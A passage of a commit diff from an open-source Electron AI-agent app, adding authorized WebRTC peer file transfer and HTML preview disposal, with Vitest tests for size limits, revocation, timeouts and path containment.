Skip to content

armgit / cindy

Public Imported from GitHub
0

Consider it done. The open-source AI agent that works out of the box · 想到,就能做到。开源、开箱即用的 AI Agent。

feat(files): 统一远程文件读取并按需预览 HTML (#4346)

Dash0a104b5ae96b
diff --git a/.gitattributes b/.gitattributes
index 8820385cca..e2c4cd5571 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -48,3 +48,6 @@ apps/desktop/src/shared/generated/appearance-tokens.ts text eol=lf
apps/desktop/src/shared/windowBackdrop.ts text eol=lf
apps/desktop/tailwind.config.ts text eol=lf
docs/design-rules/DESIGN.md text eol=lf
+
+# Generated WebRTC source is compared byte-for-byte on every platform.
+packages/device-link/src/filePeerRuntimeSource.ts text eol=lf
diff --git a/apps/desktop/src/capture-renderer/entry.ts b/apps/desktop/src/capture-renderer/entry.ts
index 12cf5d5ac8..f37cdff98b 100644
--- a/apps/desktop/src/capture-renderer/entry.ts
+++ b/apps/desktop/src/capture-renderer/entry.ts
@@ -1,10 +1,15 @@
+import { startFilePeerHost } from './filePeerHost';
+import type { FilePeerHostApi } from '../shared/filePeer';
import type { DesktopCaptureApi } from '../shared/remoteDesktop';
import { startDesktopCaptureHost } from '../renderer/features/remote-desktop/captureHost';
declare global {
interface Window {
desktopCapture: DesktopCaptureApi;
+ filePeerHost?: FilePeerHostApi;
}
}
-const dispose = startDesktopCaptureHost(window.desktopCapture);
+const dispose = window.filePeerHost
+ ? startFilePeerHost(window.filePeerHost)
+ : startDesktopCaptureHost(window.desktopCapture);
window.addEventListener('unload', dispose, { once: true });
diff --git a/apps/desktop/src/capture-renderer/filePeerHost.ts b/apps/desktop/src/capture-renderer/filePeerHost.ts
new file mode 100644
index 0000000000..9255162873
--- /dev/null
+++ b/apps/desktop/src/capture-renderer/filePeerHost.ts
@@ -0,0 +1,38 @@
+import { createFilePeerRuntime } from '@cindy/device-link';
+import type { FilePeerHostApi } from '../shared/filePeer';
+
+export function startFilePeerHost(api: FilePeerHostApi) {
+ const runtime = createFilePeerRuntime(api);
+ const off = api.onCommand((id, c) => {
+ void (async () => {
+ try {
+ let result: string | undefined;
+ switch (c.action) {
+ case 'offer':
+ result = await runtime.offer(c.connection, c.servers);
+ break;
+ case 'accept':
+ result = await runtime.accept(c.connection, c.servers, c.sdp);
+ break;
+ case 'answer':
+ await runtime.answer(c.connection, c.sdp);
+ break;
+ case 'receive':
+ await runtime.receive(c.connection, c.ticket, c.size, c.sink);
+ break;
+ case 'close':
+ runtime.close(c.connection);
+ break;
+ }
+ await api.reply(id, true, result);
+ } catch {
+ await api.reply(id, false);
+ }
+ })();
+ });
+ void api.register();
+ return () => {
+ off();
+ runtime.dispose();
+ };
+}
diff --git a/apps/desktop/src/main/__tests__/schemePrivileges.test.ts b/apps/desktop/src/main/__tests__/schemePrivileges.test.ts
index fffd9bd951..4d908a92e6 100644
--- a/apps/desktop/src/main/__tests__/schemePrivileges.test.ts
+++ b/apps/desktop/src/main/__tests__/schemePrivileges.test.ts
@@ -34,6 +34,7 @@ vi.mock('electron', () => ({
// remoteMediaProtocol pulls in device-link runtime deps; stub the boundary
// modules so importing the privilege constant stays side-effect free.
vi.mock('../device-link/index', () => ({ remoteInvoke: vi.fn() }));
+vi.mock('../device-link/filePeer', () => ({ tryPeerFile: vi.fn(async () => null) }));
vi.mock('../device-link/mediaTransfer', () => ({
downloadToBuffer: vi.fn(),
openMediaStream: vi.fn(),
diff --git a/apps/desktop/src/main/bootstrap-electron.ts b/apps/desktop/src/main/bootstrap-electron.ts
index 60fb3793f0..b1504126d2 100644
--- a/apps/desktop/src/main/bootstrap-electron.ts
+++ b/apps/desktop/src/main/bootstrap-electron.ts
@@ -1,3 +1,4 @@
+import { registerFilePeerIpc } from './device-link/filePeer';
import { registerLoginItemIpc } from './login-item-ipc.js';
import { retainProviderPresentationAfterAuthChange } from './maker-host/provider-presentation-store.js';
import { codexAccountState } from './maker-host/codex-account-auth.js';
@@ -835,6 +836,7 @@ import { prewarmModelPricing } from './usage/modelPricing.js';
import { registerMakerBinaryVersionIpc } from './maker-ipc/binary-version.js';
import { registerCrossAgentConvertIpc } from './cross-agent-convert/ipc.js';
import { registerFileBrowserIpc } from './file-browser/index.js';
+import { disposeHtmlPreviews } from './file-browser/html-preview-ipc.js';
import { disposeRemoteFileBrowser } from './file-browser/remote-deps.js';
import { registerFileBrowserDeviceOp } from './file-browser/device-op.js';
import { registerSearchIpc } from './file-browser/search/index.js';
@@ -9188,6 +9190,7 @@ app.on('ready', async () => {
// owning modules above; future collections/actions do not add tunnel channels.
registerRemoteResourcesIpc();
registerDeviceLinkIpc();
+ registerFilePeerIpc();
registerRemoteDesktopIpc(isGlobalVoiceInputOverlaySender);
void startupPurgeDrain
.then(({ purged, pending }) => {
@@ -9623,6 +9626,7 @@ onQuit('anthropic-compat-proxy', () => disposeAnthropicCompatProxy(), 'async');
onQuit('browser-runtime', () => disposeBrowserRuntime(), 'async');
// Remote file-service clients: 先于 pool 关闭, 挂断远端 daemon 的 exec channel。
onQuit('remote-file-browser', () => disposeRemoteFileBrowser(), 'async');
+onQuit('html-previews', disposeHtmlPreviews, 'async');
// Remote SSH pool: 主动断开所有活动连接, 防止 ssh2 子句柄阻塞 Node 进程退出。
// post-async(非 async):shutdown-maker 在 async 阶段关 sessions 时, PiAgent.close()
// 会经 pi-manager RPC 发 kill 杀远端 daemon —— 若 pool 在 async 并发先
diff --git a/apps/desktop/src/main/device-link/__tests__/fileAccess.test.ts b/apps/desktop/src/main/device-link/__tests__/fileAccess.test.ts
new file mode 100644
index 0000000000..5f4a7706e8
--- /dev/null
+++ b/apps/desktop/src/main/device-link/__tests__/fileAccess.test.ts
@@ -0,0 +1,71 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest';
+const peer = vi.hoisted(() => vi.fn());
+const remove = vi.hoisted(() => vi.fn());
+vi.mock('../filePeer', () => ({ tryPeerFile: peer }));
+vi.mock('../mediaTransfer', () => ({ removeRemote: remove }));
+vi.mock('../broadcast-tap', () => ({
+ captureDataOwnerBroadcastScope: () => ({}),
+ isDataOwnerBroadcastScopeCurrent: () => true,
+}));
+import { readRemoteDeviceFile } from '../fileAccess';
+beforeEach(() => {
+ vi.clearAllMocks();
+ peer.mockResolvedValue(null);
+});
+describe('desktop shared file access', () => {
+ it('keeps old hosts on two-stage export without synchronous media upload', async () => {
+ const invoke = vi.fn(async () => ({ ok: true, result: { ok: true, gzip: true } }));
+ const fallback = vi.fn(async () => ({
+ ossKey: 'large',
+ size: 200_000_000,
+ mimeType: 'application/octet-stream',
+ }));
+ expect(
+ (
+ await readRemoteDeviceFile('d', 'unused', invoke, {
+ workdir: '/p',
+ relPath: 'large',
+ fallback,
+ })
+ ).ossKey,
+ ).toBe('large');
+ expect(invoke).toHaveBeenCalledExactlyOnceWith('d', 'file-browser:remote-op', [
+ { op: 'caps', workdir: '/p' },
+ ]);
+ expect(peer).not.toHaveBeenCalled();
+ });
+ it('uses an authorized reference and skips peer for inline files', async () => {
+ const inline = { ossKey: '', size: 0, mimeType: 'text/plain', inlineBase64: '' };
+ const invoke = vi
+ .fn()
+ .mockResolvedValueOnce({ ok: true, result: { fileRead: true } })
+ .mockResolvedValueOnce({
+ ok: true,
+ result: { ok: true, url: 'xdt-file://open?path=%2Fp%2Fa' },
+ })
+ .mockResolvedValueOnce({ ok: true, result: inline });
+ const fallback = vi.fn();
+ expect(
+ await readRemoteDeviceFile('d', 'unused', invoke, { workdir: '/p', relPath: 'a', maxBytes: 10, fallback }),
+ ).toEqual(inline);
+ expect(peer).not.toHaveBeenCalled();
+ expect(fallback).not.toHaveBeenCalled();
+ expect(new URL(invoke.mock.calls[2][2][0].url).searchParams.get('maxBytes')).toBe('10');
+ });
+ it('does not download a video by peer only to discard it for streaming', async () => {
+ const invoke = vi
+ .fn()
+ .mockResolvedValueOnce({
+ ok: true,
+ result: { ossKey: '', size: 1_000_000, mimeType: 'video/mp4', transferRequired: true },
+ })
+ .mockResolvedValueOnce({
+ ok: true,
+ result: { ossKey: 'video', size: 1_000_000, mimeType: 'video/mp4' },
+ });
+ expect(
+ (await readRemoteDeviceFile('d', 'xdt-video://v', invoke, { stream: true })).ossKey,
+ ).toBe('video');
+ expect(peer).not.toHaveBeenCalled();
+ });
+});
diff --git a/apps/desktop/src/main/device-link/__tests__/filePeer.test.ts b/apps/desktop/src/main/device-link/__tests__/filePeer.test.ts
new file mode 100644
index 0000000000..3b9d6deb4e
--- /dev/null
+++ b/apps/desktop/src/main/device-link/__tests__/filePeer.test.ts
@@ -0,0 +1,150 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { mkdtemp, rm, writeFile, truncate } from 'node:fs/promises';
+import os from 'node:os';
+import path from 'node:path';
+const mock = vi.hoisted(() => ({
+ handlers: new Map<string, (...args: any[]) => any>(),
+ settings: { remoteControlEnabled: true, revokedControllers: [] as string[] },
+ current: true,
+ resolve: vi.fn(),
+}));
+vi.mock('electron', () => ({
+ ipcMain: { handle: (key: string, fn: (...args: any[]) => any) => mock.handlers.set(key, fn) },
+ app: { on: vi.fn(), getPath: () => os.tmpdir() },
+}));
+vi.mock('../mediaFetch', () => ({ resolveAuthorizedMedia: mock.resolve }));
+vi.mock('../settings-store', () => ({ readDeviceLinkSettings: () => mock.settings }));
+vi.mock('../broadcast-tap', () => ({
+ captureDataOwnerBroadcastScope: () => ({}),
+ isDataOwnerBroadcastScopeCurrent: () => mock.current,
+}));
+vi.mock('../../remote-desktop/iceConfig', () => ({ loadDesktopIceServers: async () => [] }));
+vi.mock('../../remote-desktop/captureWindow', () => ({
+ DesktopCaptureWindow: class {
+ contents: any = null;
+ async start() {
+ this.contents = {
+ isDestroyed: () => false,
+ send: (_channel: string, id: string, c: { action: string }) => {
+ if (c.action !== 'close') mock.handlers.get('file-peer:host:reply')!({}, id, true, 'v=0');
+ },
+ };
+ }
+ dispose() {
+ this.contents = null;
+ }
+ assertSender() {}
+ registered() {}
+ },
+}));
+import { registerFilePeerIpc, requestFilePeer, stopFilePeers } from '../filePeer';
+
+describe('authorized file peer source', () => {
+ let directory: string, file: string;
+ beforeEach(async () => {
+ mock.current = true;
+ mock.settings = { remoteControlEnabled: true, revokedControllers: [] };
+ mock.handlers.clear();
+ registerFilePeerIpc();
+ directory = await mkdtemp(path.join(os.tmpdir(), 'cindy-file-peer-test-'));
+ file = path.join(directory, 'input');
+ await writeFile(file, 'hello');
+ mock.resolve
+ .mockReset()
+ .mockResolvedValue({ absPath: file, mimeType: 'text/plain', maxBytes: 100 });
+ });
+ afterEach(async () => {
+ stopFilePeers();
+ await rm(directory, { recursive: true, force: true });
+ });
+ async function connect(peer = 'device-a') {
+ return (await requestFilePeer(peer, { action: 'offer', sdp: 'v=0' })) as { connection: string };
+ }
+ async function open(connection: string, peer = 'device-a') {
+ return (await requestFilePeer(peer, {
+ action: 'open',
+ connection,
+ url: 'xdt-file://local/?path=/test',
+ })) as { ticket: string; size: number };
+ }
+ const read = (connection: string, ticket: string, offset: number) =>
+ mock.handlers.get('file-peer:host:read')!({}, connection, ticket, offset);
+ it('reads bounded bytes and consumes the ticket only after verified EOF', async () => {
+ const { connection } = await connect(),
+ { ticket, size } = await open(connection);
+ expect(size).toBe(5);
+ expect(mock.resolve).toHaveBeenCalledWith(expect.anything(), 2147483648);
+ expect(await read(connection, ticket, 0)).toBe(Buffer.from('hello').toString('base64'));
+ expect(await read(connection, ticket, 5)).toBe('');
+ await expect(read(connection, ticket, 5)).rejects.toThrow();
+ expect((await open(connection)).ticket).not.toBe(ticket);
+ });
+ it('accepts a sparse 2 GiB source and rejects one byte above the transport limit', async () => {
+ const limit = 2 * 1024 * 1024 * 1024;
+ await truncate(file, limit);
+ mock.resolve.mockResolvedValue({ absPath: file, mimeType: 'application/octet-stream', maxBytes: limit });
+ expect(await requestFilePeer('device-a', { action: 'caps' })).toEqual({ version: 1, maxBytes: limit });
+ const first = await connect();
+ expect((await open(first.connection)).size).toBe(limit);
+ stopFilePeers();
+ await truncate(file, limit + 1);
+ const second = await connect();
+ await expect(open(second.connection)).rejects.toThrow('SIZE');
+ });
+ it('rejects another peer using a connection handle', async () => {
+ const { connection } = await connect();
+ await expect(open(connection, 'device-b')).rejects.toThrow('DENIED');
+ });
+ it('reserves open before filesystem awaits', async () => {
+ const { connection } = await connect();
+ let finish!: (value: unknown) => void;
+ mock.resolve.mockImplementationOnce(
+ () =>
+ new Promise((resolve) => {
+ finish = resolve;
+ }),
+ );
+ const first = open(connection);
+ await expect(open(connection)).rejects.toThrow('BUSY');
+ finish({ absPath: file, maxBytes: 100 });
+ await first;
+ });
+ it('rechecks the requested limit on the opened file descriptor', async () => {
+ const { connection } = await connect();
+ mock.resolve.mockResolvedValueOnce({ absPath: file, maxBytes: 4 });
+ await expect(open(connection)).rejects.toThrow('SIZE');
+ });
+ it('rejects changed files and subsequent reads on the stopped connection', async () => {
+ const { connection } = await connect(),
+ { ticket } = await open(connection);
+ await writeFile(file, 'changed');
+ await expect(read(connection, ticket, 0)).rejects.toThrow('CHANGED');
+ await expect(read(connection, ticket, 0)).rejects.toThrow();
+ });
+ it('rejects revoked or old-owner chunks without affecting a second peer', async () => {
+ const a = await connect(),
+ b = await connect('device-b');
+ const fa = await open(a.connection),
+ fb = await open(b.connection, 'device-b');
+ mock.settings.revokedControllers.push('device-a');
+ await expect(read(a.connection, fa.ticket, 0)).rejects.toThrow('REVOKED');
+ expect(await read(b.connection, fb.ticket, 0)).toBe(Buffer.from('hello').toString('base64'));
+ mock.current = false;
+ await expect(read(b.connection, fb.ticket, 5)).rejects.toThrow('CLOSED');
+ });
+ it('keeps a stalled transfer alive past 30 seconds, renews on progress and closes after 60 idle seconds', async () => {
+ vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] });
+ try {
+ const { connection } = await connect();
+ const { ticket } = await open(connection);
+ await vi.advanceTimersByTimeAsync(31_000);
+ expect(await read(connection, ticket, 0)).toBe(Buffer.from('hello').toString('base64'));
+ await vi.advanceTimersByTimeAsync(31_000);
+ expect(await read(connection, ticket, 5)).toBe('');
+ const next = await open(connection);
+ await vi.advanceTimersByTimeAsync(61_000);
+ await expect(read(connection, next.ticket, 0)).rejects.toThrow('FILE_PEER_BLOCK');
+ } finally { vi.useRealTimers(); }
+ });
+
+});
diff --git a/apps/desktop/src/main/device-link/__tests__/mediaFetch.test.ts b/apps/desktop/src/main/device-link/__tests__/mediaFetch.test.ts
index 1c9da33edc..65cc19cb17 100644
--- a/apps/desktop/src/main/device-link/__tests__/mediaFetch.test.ts
+++ b/apps/desktop/src/main/device-link/__tests__/mediaFetch.test.ts
@@ -13,7 +13,10 @@ vi.mock('../../imageCacheStore.js', () => ({ resolveSafe: imageResolve }));
vi.mock('../../videoCacheStore.js', () => ({ resolveSafe: videoResolve }));
const uploadLocalFile = vi.hoisted(() => vi.fn());
-vi.mock('../mediaTransfer.js', () => ({ uploadLocalFile }));
+vi.mock('../mediaTransfer.js', () => ({
+ uploadLocalFile,
+ mimeOf: () => 'application/octet-stream',
+}));
const materializeSshRemoteMedia = vi.hoisted(() => vi.fn());
vi.mock('../../file-browser/ssh-media.js', () => ({ materializeSshRemoteMedia }));
@@ -27,7 +30,8 @@ vi.mock('../../logger.js', () => ({
const statMock = vi.hoisted(() => vi.fn());
const realpathMock = vi.hoisted(() => vi.fn());
-vi.mock('node:fs/promises', () => ({ stat: statMock, realpath: realpathMock }));
+const openMock = vi.hoisted(() => vi.fn());
+vi.mock('node:fs/promises', () => ({ stat: statMock, realpath: realpathMock, open: openMock }));
import { fetchLocalMediaToOss, __testing } from '../mediaFetch.js';
@@ -72,6 +76,34 @@ afterEach(() => {
});
describe('fetchLocalMediaToOss — scheme 路由', () => {
+ it.each([0, 65_536, 65_537])(
+ 'prepares %s bytes inline only within the shared limit',
+ async (size) => {
+ const read = vi.fn(async (buffer: Buffer) => {
+ buffer.fill(7);
+ return { bytesRead: buffer.length };
+ });
+ const close = vi.fn();
+ openMock.mockResolvedValue({
+ stat: async () => ({ isFile: () => true, size, mtimeMs: 1 }),
+ read,
+ close,
+ });
+ imageResolve.mockReturnValue({ absPath: '/cache/a.png', mimeType: 'image/png' });
+ const result = await fetchLocalMediaToOss({
+ url: 'xdt-image://sess/a.png',
+ prepareOnly: true,
+ });
+ if (size <= 65_536)
+ expect(Buffer.from(result.inlineBase64!, 'base64')).toEqual(Buffer.alloc(size, 7));
+ else {
+ expect(result.transferRequired).toBe(true);
+ expect(read).not.toHaveBeenCalled();
+ }
+ expect(uploadLocalFile).not.toHaveBeenCalled();
+ expect(close).toHaveBeenCalledOnce();
+ },
+ );
it('xdt-image:// → imageCacheStore.resolveSafe,mime 透传给上传', async () => {
imageResolve.mockReturnValue({ absPath: '/cache/a.png', mimeType: 'image/png' });
const r = await fetchLocalMediaToOss({ url: 'xdt-image://sess/a.png' });
@@ -355,6 +387,14 @@ describe('fetchLocalMediaToOss — 图片上传去重', () => {
});
});
+it('retains the path budget at the uploader after authorization', async () => {
+ await fetchLocalMediaToOss({ url: 'xdt-file://local/?path=%2Fabs%2Fx.pdf&maxBytes=100' });
+ expect(uploadLocalFile).toHaveBeenCalledWith(
+ path.resolve('/abs/x.pdf'),
+ expect.objectContaining({ maxBytes: 100 }),
+ );
+});
+
describe('__testing.parsePathQuery', () => {
it('POSIX / Windows 绝对路径放行', () => {
expect(__testing.parsePathQuery('xdt-file://local/?path=%2Fabs%2Fx.pdf')).toBe(
@@ -502,20 +542,22 @@ describe('fetchLocalMediaToOss — baseDir / maxBytes 服务端强制约束', ()
it('产物目录里的软链指向 baseDir 之外 → 拒绝,且不上传(词法校验挡不住的那条)', async () => {
// 请求路径 /proj/out/leak.png 词法完全合法(无 `..`),realpath 却落在别的用户目录;
// 该目录不在敏感目录 blocklist 里,所以只有 baseDir 包含判定能挡住。
- realpathMock.mockImplementation(async (p: string) => (
- p === path.resolve('/proj/out/leak.png') ? path.resolve('/Users/me/private/notes.png') : p
- ));
- const msg = await codeOf(() => fetchLocalMediaToOss({
- url: urlFor('/proj/out/leak.png', `&baseDir=${encodeURIComponent('/proj/out')}`),
- }));
+ realpathMock.mockImplementation(async (p: string) =>
+ p === path.resolve('/proj/out/leak.png') ? path.resolve('/Users/me/private/notes.png') : p,
+ );
+ const msg = await codeOf(() =>
+ fetchLocalMediaToOss({
+ url: urlFor('/proj/out/leak.png', `&baseDir=${encodeURIComponent('/proj/out')}`),
+ }),
+ );
expect(msg).toMatch(/不在允许的基目录内/);
expect(uploadLocalFile).not.toHaveBeenCalled();
});
it('baseDir 自身是软链(/tmp → /private/tmp)时不误拒:两侧都取 realpath', async () => {
- realpathMock.mockImplementation(async (p: string) => (
- p.startsWith('/tmp') ? p.replace('/tmp', '/private/tmp') : p
- ));
+ realpathMock.mockImplementation(async (p: string) =>
+ p.startsWith('/tmp') ? p.replace('/tmp', '/private/tmp') : p,
+ );
await fetchLocalMediaToOss({
url: urlFor('/tmp/out/a.png', `&baseDir=${encodeURIComponent('/tmp/out')}`),
});
@@ -527,29 +569,41 @@ describe('fetchLocalMediaToOss — baseDir / maxBytes 服务端强制约束', ()
if (p === path.resolve('/proj/gone')) throw new Error('ENOENT');
return p;
});
- const msg = await codeOf(() => fetchLocalMediaToOss({
- url: urlFor('/proj/gone/a.png', `&baseDir=${encodeURIComponent('/proj/gone')}`),
- }));
+ const msg = await codeOf(() =>
+ fetchLocalMediaToOss({
+ url: urlFor('/proj/gone/a.png', `&baseDir=${encodeURIComponent('/proj/gone')}`),
+ }),
+ );
expect(msg).toMatch(/基目录不存在或不可读/);
expect(uploadLocalFile).not.toHaveBeenCalled();
});
it('baseDir 畸形(非绝对 / 空)→ 抛错,不静默降级成"不约束"', async () => {
- expect(await codeOf(() => fetchLocalMediaToOss({
- url: urlFor('/proj/out/a.png', '&baseDir=out'),
- }))).toMatch(/baseDir 必须为绝对路径/);
- expect(await codeOf(() => fetchLocalMediaToOss({
- url: urlFor('/proj/out/a.png', '&baseDir=%20'),
- }))).toMatch(/baseDir 不能为空/);
+ expect(
+ await codeOf(() =>
+ fetchLocalMediaToOss({
+ url: urlFor('/proj/out/a.png', '&baseDir=out'),
+ }),
+ ),
+ ).toMatch(/baseDir 必须为绝对路径/);
+ expect(
+ await codeOf(() =>
+ fetchLocalMediaToOss({
+ url: urlFor('/proj/out/a.png', '&baseDir=%20'),
+ }),
+ ),
+ ).toMatch(/baseDir 不能为空/);
expect(uploadLocalFile).not.toHaveBeenCalled();
});
it('maxBytes:stat 超限 → 上传之前就拒绝(流量一个字节都不花)', async () => {
realpathMock.mockImplementation(async (p: string) => p);
statMock.mockResolvedValue({ size: 5_000_000, mtimeMs: 1 });
- const msg = await codeOf(() => fetchLocalMediaToOss({
- url: urlFor('/proj/out/big.css', '&maxBytes=2097152'),
- }));
+ const msg = await codeOf(() =>
+ fetchLocalMediaToOss({
+ url: urlFor('/proj/out/big.css', '&maxBytes=2097152'),
+ }),
+ );
expect(msg).toMatch(/超出取件大小上限/);
expect(uploadLocalFile).not.toHaveBeenCalled();
});
@@ -563,9 +617,13 @@ describe('fetchLocalMediaToOss — baseDir / maxBytes 服务端强制约束', ()
it('maxBytes 畸形(非正整数)→ 抛错,不静默降级成"不约束"', async () => {
for (const raw of ['0', '-1', 'abc', '1.5']) {
- expect(await codeOf(() => fetchLocalMediaToOss({
- url: urlFor('/proj/out/a.png', `&maxBytes=${encodeURIComponent(raw)}`),
- }))).toMatch(/maxBytes 必须为正整数/);
+ expect(
+ await codeOf(() =>
+ fetchLocalMediaToOss({
+ url: urlFor('/proj/out/a.png', `&maxBytes=${encodeURIComponent(raw)}`),
+ }),
+ ),
+ ).toMatch(/maxBytes 必须为正整数/);
}
expect(uploadLocalFile).not.toHaveBeenCalled();
});
@@ -578,10 +636,14 @@ describe('fetchLocalMediaToOss — baseDir / maxBytes 服务端强制约束', ()
});
it('SSH 分支:两项约束原样下发给 materializeSshRemoteMedia(它 stat 完就会拉整份文件)', async () => {
- const url = 'xdt-file://local/?path=' + encodeURIComponent('/home/u/proj/out/a.png')
- + '&sessionId=s1&remoteHostId=host-1&workdir=' + encodeURIComponent('/home/u/proj')
- + '&baseDir=' + encodeURIComponent('/home/u/proj/out')
- + '&maxBytes=2097152';
+ const url =
+ 'xdt-file://local/?path=' +
+ encodeURIComponent('/home/u/proj/out/a.png') +
+ '&sessionId=s1&remoteHostId=host-1&workdir=' +
+ encodeURIComponent('/home/u/proj') +
+ '&baseDir=' +
+ encodeURIComponent('/home/u/proj/out') +
+ '&maxBytes=2097152';
await fetchLocalMediaToOss({ url });
expect(materializeSshRemoteMedia).toHaveBeenCalledWith(
{ remoteHostId: 'host-1', workdir: '/home/u/proj' },
diff --git a/apps/desktop/src/main/device-link/__tests__/mediaTransfer.test.ts b/apps/desktop/src/main/device-link/__tests__/mediaTransfer.test.ts
index efd0f3a3c9..9b4d511984 100644
--- a/apps/desktop/src/main/device-link/__tests__/mediaTransfer.test.ts
+++ b/apps/desktop/src/main/device-link/__tests__/mediaTransfer.test.ts
@@ -181,6 +181,62 @@ describe('uploadLocalFile — 小文件整体 PUT', () => {
});
});
+describe('uploadLocalFile — bounded snapshots', () => {
+ it.each([NaN, Infinity, -1, 1.5, 99])(
+ 'rejects invalid or exceeded budget %s before presign',
+ async (maxBytes) => {
+ statMock.mockResolvedValue({ isFile: () => true, size: 100 });
+ await expect(uploadLocalFile('/tmp/a.bin', { maxBytes })).rejects.toThrow();
+ expect(apiFetch).not.toHaveBeenCalled();
+ },
+ );
+
+ it.each([0, 100])(
+ 'uploads bounded small files of %s bytes without an unbounded read',
+ async (size) => {
+ statMock.mockResolvedValue({ isFile: () => true, size });
+ createReadStreamMock.mockImplementation(() =>
+ Readable.from(size ? [Buffer.alloc(size)] : []),
+ );
+ okPut();
+ await expect(uploadLocalFile('/tmp/a.bin', { maxBytes: size })).resolves.toMatchObject({
+ size,
+ });
+ expect(createReadStreamMock).toHaveBeenCalledWith('/tmp/a.bin', { end: size });
+ expect(readFileMock).not.toHaveBeenCalled();
+ },
+ );
+
+ it('rejects small-file growth before PUT and removes the presigned object', async () => {
+ statMock.mockResolvedValue({ isFile: () => true, size: 100 });
+ createReadStreamMock.mockImplementation(() => Readable.from([Buffer.alloc(101)]));
+ await expect(uploadLocalFile('/tmp/a.bin', { maxBytes: 100 })).rejects.toThrow(
+ 'REMOTE_FILE_TOO_LARGE',
+ );
+ expect(undiciFetchMock).not.toHaveBeenCalled();
+ expect(readFileMock).not.toHaveBeenCalled();
+ expect(apiFetch).toHaveBeenCalledWith(DEL_PATH, expect.objectContaining({ method: 'DELETE' }));
+ });
+
+ it('rejects streaming growth before forwarding excess bytes without retrying the source failure', async () => {
+ const size = __testing.STREAM_THRESHOLD + 1;
+ statMock.mockResolvedValue({ isFile: () => true, size });
+ createReadStreamMock.mockImplementation(() =>
+ Readable.from([Buffer.alloc(size), Buffer.alloc(1)]),
+ );
+ let received = 0;
+ undiciFetchMock.mockImplementation(async (_url, init) => {
+ for await (const chunk of init.body) received += chunk.length;
+ return { ok: true, status: 200 };
+ });
+ await expect(uploadLocalFile('/tmp/a.bin', { maxBytes: size })).rejects.toThrow();
+ expect(received).toBeLessThanOrEqual(size);
+ expect(createReadStreamMock).toHaveBeenCalledWith('/tmp/a.bin', { end: size });
+ expect(netFetchMock).not.toHaveBeenCalled();
+ expect(apiFetch).toHaveBeenCalledWith(DEL_PATH, expect.objectContaining({ method: 'DELETE' }));
+ });
+});
+
describe('uploadLocalFile — 大文件流式 PUT', () => {
it('超阈值 → body 为 ReadableStream + duplex half,不读进内存', async () => {
const size = __testing.STREAM_THRESHOLD + 1;
diff --git a/apps/desktop/src/main/device-link/__tests__/remoteMediaProtocol.test.ts b/apps/desktop/src/main/device-link/__tests__/remoteMediaProtocol.test.ts
index e2f10218db..e0d41f3676 100644
--- a/apps/desktop/src/main/device-link/__tests__/remoteMediaProtocol.test.ts
+++ b/apps/desktop/src/main/device-link/__tests__/remoteMediaProtocol.test.ts
@@ -14,7 +14,13 @@ vi.mock('electron', () => ({
protocol: { handle: vi.fn(), registerSchemesAsPrivileged: vi.fn() },
app: { getPath: () => '/tmp' },
}));
-vi.mock('@cindy/device-link', () => ({ DL_MEDIA_FETCH_CHANNEL: 'device-link:media:fetch' }));
+
+const tryPeerFile = vi.hoisted(() => vi.fn());
+vi.mock('../broadcast-tap', () => ({
+ captureDataOwnerBroadcastScope: () => ({}),
+ isDataOwnerBroadcastScopeCurrent: () => true,
+}));
+vi.mock('../filePeer', () => ({ tryPeerFile }));
const remoteInvoke = vi.hoisted(() => vi.fn());
vi.mock('../index', () => ({ remoteInvoke }));
@@ -75,6 +81,7 @@ const URL_VID = buildRemoteMediaUrl({ kind: 'device', deviceId: 'dev-1' }, 'xdt-
beforeEach(() => {
vi.clearAllMocks();
+ tryPeerFile.mockResolvedValue(null);
lookup.mockReturnValue(undefined);
evictEntry.mockReturnValue(true); // 默认无 in-flight 消费者,可逐出
// 默认:本机字节仓不命中(readFile ENOENT)→ cindy-media 用例照走远程管线
@@ -87,6 +94,46 @@ beforeEach(() => {
});
describe('handleRemoteMedia', () => {
+ it('peer image enters the existing cache and releases its temporary file without OSS', async () => {
+ remoteInvoke.mockResolvedValue({
+ ok: true,
+ result: { ossKey: '', size: 3, mimeType: 'image/png', transferRequired: true },
+ });
+ const bytes = Buffer.from([1, 2, 3]);
+ const dispose = vi.fn(async () => {});
+ tryPeerFile.mockResolvedValue({
+ path: '/tmp/peer-image',
+ size: 3,
+ mimeType: 'image/png',
+ dispose,
+ });
+ fsReadFile.mockResolvedValue(bytes);
+ recordLocal.mockReturnValue({ kind: 'local', bytes, mimeType: 'image/png' });
+ const response = await handleRemoteMedia(URL_IMG, null);
+ expect(response.status).toBe(200);
+ expect(Buffer.from(await response.arrayBuffer())).toEqual(bytes);
+ expect(dispose).toHaveBeenCalledOnce();
+ expect(remoteInvoke).toHaveBeenCalledOnce();
+ expect(downloadToBuffer).not.toHaveBeenCalled();
+ });
+
+ it('releases peer staging even when reading the completed file fails', async () => {
+ remoteInvoke.mockResolvedValue({
+ ok: true,
+ result: { ossKey: '', size: 3, mimeType: 'image/png', transferRequired: true },
+ });
+ const dispose = vi.fn(async () => {});
+ tryPeerFile.mockResolvedValue({
+ path: '/tmp/peer-image',
+ size: 3,
+ mimeType: 'image/png',
+ dispose,
+ });
+ const response = await handleRemoteMedia(URL_IMG, null);
+ expect(response.status).toBe(502);
+ expect(dispose).toHaveBeenCalledOnce();
+ });
+
it('畸形 URL → 400', async () => {
const r = await handleRemoteMedia('not-a-remote-media-url', null);
expect(r.status).toBe(400);
@@ -150,7 +197,7 @@ describe('handleRemoteMedia', () => {
});
const r = await handleRemoteMedia(URL_BLOB, null);
expect(remoteInvoke).toHaveBeenCalledWith('dev-1', 'device-link:media:fetch', [
- { url: BLOB_URL },
+ { url: BLOB_URL, prepareOnly: true },
]);
expect(r.status).toBe(200);
});
@@ -215,7 +262,7 @@ describe('handleRemoteMedia', () => {
const r = await handleRemoteMedia(URL_IMG, null);
expect(remoteInvoke).toHaveBeenCalledWith('dev-1', 'device-link:media:fetch', [
- { url: 'xdt-image://s/a.png' },
+ { url: 'xdt-image://s/a.png', prepareOnly: true },
]);
expect(downloadToBuffer).toHaveBeenCalledWith('oss/k.png');
expect(removeRemote).toHaveBeenCalledWith('oss/k.png'); // 用后删
@@ -318,7 +365,7 @@ describe('handleRemoteMedia', () => {
const r = await handleRemoteMedia(URL_IMG, null);
expect(remoteInvoke).toHaveBeenNthCalledWith(1, 'dev-1', 'device-link:media:fetch', [
- { url: 'xdt-image://s/a.png' },
